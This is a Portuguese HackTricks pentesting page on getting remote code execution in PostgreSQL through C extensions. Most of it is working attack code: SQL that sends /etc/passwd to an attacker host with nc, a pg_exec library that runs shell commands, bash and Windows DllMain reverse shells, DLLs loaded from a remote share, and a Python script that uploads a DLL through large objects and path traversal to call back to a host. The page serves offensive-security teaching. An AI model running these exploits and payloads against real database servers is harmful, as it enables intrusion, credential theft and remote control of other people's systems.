mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
344 lines
16 KiB
Markdown
344 lines
16 KiB
Markdown
# RCE com Extensões PostgreSQL
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Extensões PostgreSQL
|
|
|
|
O PostgreSQL foi projetado para ser facilmente extensível. Por esse motivo, as extensões carregadas no banco de dados podem funcionar como recursos integrados.\
|
|
As extensões são módulos que fornecem funções, operadores ou tipos extras. São bibliotecas escritas em C.\
|
|
A partir do PostgreSQL > 8.1, as bibliotecas de extensão devem ser compiladas com um cabeçalho especial ou o PostgreSQL se recusará a executá-las.
|
|
|
|
Além disso, tenha em mente que **se você não sabe como** [**fazer upload de arquivos para a vítima abusando do PostgreSQL, você deve ler este post.**](big-binary-files-upload-postgresql.md)
|
|
|
|
### RCE no Linux
|
|
|
|
O processo para executar comandos do sistema a partir do PostgreSQL 8.1 e anteriores é direto e bem documentado ([módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)):
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
|
|
|
# You can also create functions to open and write files
|
|
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
|
|
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
|
|
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
|
|
```
|
|
<details>
|
|
|
|
<summary>Escrever arquivo binário a partir de base64</summary>
|
|
|
|
Para escrever um arquivo binário em postgres, pode ser necessário usar base64, isso será útil para esse propósito:
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
|
$$
|
|
DECLARE
|
|
fh int;
|
|
s int;
|
|
w bytea;
|
|
i int;
|
|
BEGIN
|
|
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
|
|
|
IF fh <= 2 THEN
|
|
RETURN 1;
|
|
END IF;
|
|
|
|
SELECT decode(s, 'base64') INTO w;
|
|
|
|
i := 0;
|
|
LOOP
|
|
EXIT WHEN i >= octet_length(w);
|
|
|
|
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
|
|
|
IF rs < 0 THEN
|
|
RETURN 2;
|
|
END IF;
|
|
|
|
i := i + 1;
|
|
END LOOP;
|
|
|
|
SELECT close(fh) INTO rs;
|
|
|
|
RETURN 0;
|
|
|
|
END;
|
|
$$ LANGUAGE 'plpgsql';
|
|
```
|
|
</details>
|
|
|
|
No entanto, ao tentar executar no PostgreSQL 9.0, **o seguinte erro foi exibido**:
|
|
```c
|
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
|
```
|
|
Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
|
|
|
> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, depois de ter incluído o cabeçalho fmgr.h:
|
|
>
|
|
> `#ifdef PG_MODULE_MAGIC`\
|
|
> `PG_MODULE_MAGIC;`\
|
|
> `#endif`
|
|
|
|
Portanto, para versões do PostgreSQL desde 8.2, um invasor precisa aproveitar uma biblioteca já presente no sistema ou fazer upload de sua própria biblioteca, que foi compilada contra a versão principal correta do PostgreSQL e inclui esse bloco mágico.
|
|
|
|
#### Compilar a biblioteca
|
|
|
|
Antes de tudo, você precisa saber a versão do PostgreSQL em execução:
|
|
```sql
|
|
SELECT version();
|
|
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
|
```
|
|
As principais versões devem corresponder, então neste caso, compilar uma biblioteca usando qualquer 9.6.x deve funcionar.\
|
|
Em seguida, instale essa versão em seu sistema:
|
|
```bash
|
|
apt install postgresql postgresql-server-dev-9.6
|
|
```
|
|
E compile a biblioteca:
|
|
```c
|
|
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
|
#include <string.h>
|
|
#include "postgres.h"
|
|
#include "fmgr.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
PG_FUNCTION_INFO_V1(pg_exec);
|
|
Datum pg_exec(PG_FUNCTION_ARGS) {
|
|
char* command = PG_GETARG_CSTRING(0);
|
|
PG_RETURN_INT32(system(command));
|
|
}
|
|
```
|
|
Em seguida, faça o upload da biblioteca compilada e execute comandos com:
|
|
```bash
|
|
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
|
#Notice the double single quotes are needed to scape the qoutes
|
|
```
|
|
Você pode encontrar essa **biblioteca pré-compilada** para várias versões diferentes do PostgreSQL e até mesmo pode **automatizar esse processo** (se tiver acesso ao PostgreSQL) com:
|
|
|
|
{% embed url="https://github.com/Dionach/pgexec" %}
|
|
|
|
Para mais informações, leia: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
|
|
|
### RCE no Windows
|
|
|
|
A DLL a seguir recebe como entrada o **nome do binário** e o **número** de **vezes** que você deseja executá-lo e o executa:
|
|
```c
|
|
#include "postgres.h"
|
|
#include <string.h>
|
|
#include "fmgr.h"
|
|
#include "utils/geo_decls.h"
|
|
#include <stdio.h>
|
|
#include "utils/builtins.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
/* Add a prototype marked PGDLLEXPORT */
|
|
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
|
|
PG_FUNCTION_INFO_V1(pgsql_exec);
|
|
|
|
/* this function launches the executable passed in as the first parameter
|
|
in a FOR loop bound by the second parameter that is also passed*/
|
|
Datum
|
|
pgsql_exec(PG_FUNCTION_ARGS)
|
|
{
|
|
/* convert text pointer to C string */
|
|
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
|
|
|
/* retrieve the second argument that is passed to the function (an integer)
|
|
that will serve as our counter limit*/
|
|
|
|
int instances = PG_GETARG_INT32(1);
|
|
|
|
for (int c = 0; c < instances; c++) {
|
|
/*launch the process passed in the first parameter*/
|
|
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|
}
|
|
PG_RETURN_VOID();
|
|
}
|
|
```
|
|
Você pode encontrar a DLL compilada neste arquivo zip:
|
|
|
|
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
|
|
|
Você pode indicar para esta DLL **qual binário executar** e quantas vezes executá-lo, neste exemplo ele executará `calc.exe` 2 vezes:
|
|
```bash
|
|
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
|
SELECT remote_exec('calc.exe', 2);
|
|
DROP FUNCTION remote_exec(text, integer);
|
|
```
|
|
Aqui você pode encontrar este reverse-shell: [**aqui**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)
|
|
```c
|
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
|
|
|
#include "postgres.h"
|
|
#include <string.h>
|
|
#include "fmgr.h"
|
|
#include "utils/geo_decls.h"
|
|
#include <winsock2.h>
|
|
|
|
#pragma comment(lib,"ws2_32")
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 4996)
|
|
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
|
|
|
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
|
_In_ DWORD fdwReason,
|
|
_In_ LPVOID lpvReserved)
|
|
{
|
|
WSADATA wsaData;
|
|
SOCKET wsock;
|
|
struct sockaddr_in server;
|
|
char ip_addr[16];
|
|
STARTUPINFOA startupinfo;
|
|
PROCESS_INFORMATION processinfo;
|
|
|
|
char *program = "cmd.exe";
|
|
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
|
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
|
|
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
|
IPPROTO_TCP, NULL, 0, 0);
|
|
|
|
struct hostent *host;
|
|
host = gethostbyname(ip);
|
|
strcpy_s(ip_addr, sizeof(ip_addr),
|
|
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
|
|
|
server.sin_family = AF_INET;
|
|
server.sin_port = htons(port);
|
|
server.sin_addr.s_addr = inet_addr(ip_addr);
|
|
|
|
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
|
NULL, NULL, NULL, NULL);
|
|
|
|
memset(&startupinfo, 0, sizeof(startupinfo));
|
|
startupinfo.cb = sizeof(startupinfo);
|
|
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
|
startupinfo.hStdInput = startupinfo.hStdOutput =
|
|
startupinfo.hStdError = (HANDLE)wsock;
|
|
|
|
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
|
NULL, NULL, &startupinfo, &processinfo);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#pragma warning(pop) /* re-enable 4996 */
|
|
|
|
/* Add a prototype marked PGDLLEXPORT */
|
|
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
|
|
|
PG_FUNCTION_INFO_V1(add_one);
|
|
|
|
Datum dummy_function(PG_FUNCTION_ARGS)
|
|
{
|
|
int32 arg = PG_GETARG_INT32(0);
|
|
|
|
PG_RETURN_INT32(arg + 1);
|
|
}
|
|
```
|
|
Observe que neste caso o **código malicioso está dentro da função DllMain**. Isso significa que, neste caso, não é necessário executar a função carregada no postgresql, apenas **carregar a DLL** irá **executar** o shell reverso:
|
|
```c
|
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
|
```
|
|
### RCE nas versões mais recentes do PostgreSQL
|
|
|
|
Nas **últimas versões** do PostgreSQL, o `superusuário` **não** pode mais **carregar** um arquivo de biblioteca compartilhada de **qualquer lugar** além de `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` no \*nix. Além disso, este caminho **não é gravável** pelas contas NETWORK\_SERVICE ou postgres.
|
|
|
|
No entanto, um `superusuário` autenticado do banco de dados **pode gravar** arquivos binários no sistema de arquivos usando "objetos grandes" e, é claro, gravar no diretório `C:\Program Files\PostgreSQL\11\data`. A razão para isso deve ser clara, para atualizar/criar tabelas no banco de dados.
|
|
|
|
O problema subjacente é que o operador `CREATE FUNCTION` **permite uma travessia de diretório** para o diretório de dados! Então, essencialmente, um invasor autenticado pode **escrever um arquivo de biblioteca compartilhada no diretório de dados e usar a travessia para carregar a biblioteca compartilhada**. Isso significa que um invasor pode obter execução de código nativo e, como tal, executar código arbitrário.
|
|
|
|
#### Fluxo de ataque
|
|
|
|
Em primeiro lugar, você precisa **usar objetos grandes para fazer upload do dll**. Você pode ver como fazer isso aqui:
|
|
|
|
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
|
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
Depois de ter carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
|
|
```c
|
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
|
select connect_back('192.168.100.54', 1234);
|
|
```
|
|
_Nota que não é necessário adicionar a extensão `.dll`, já que a função create irá adicioná-la._
|
|
|
|
Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
|
Nessa publicação, **este foi o** [**código usado para gerar a extensão do postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores_).\
|
|
Na mesma página, foi fornecido **um exploit para automatizar** essa técnica:
|
|
```python
|
|
#!/usr/bin/env python3
|
|
import sys
|
|
|
|
if len(sys.argv) != 4:
|
|
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
|
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
lib = sys.argv[3]
|
|
with open(lib, "rb") as dll:
|
|
d = dll.read()
|
|
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
|
for i in range(0, len(d)//2048):
|
|
start = i * 2048
|
|
end = (i+1) * 2048
|
|
if i == 0:
|
|
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
|
else:
|
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
|
if (len(d) % 2048) != 0:
|
|
end = (i+1) * 2048
|
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
|
|
|
sql += "select lo_export(1337, 'poc.dll');"
|
|
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
|
sql += "select connect_back('%s', %d);" % (host, port)
|
|
print("(+) building poc.sql file")
|
|
with open("poc.sql", "w") as sqlfile:
|
|
sqlfile.write(sql)
|
|
print("(+) run poc.sql in PostgreSQL using the superuser")
|
|
print("(+) for a db cleanup only, run the following sql:")
|
|
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
|
print(" drop function connect_back(text, integer);")
|
|
```
|
|
## Referências
|
|
|
|
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
|
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|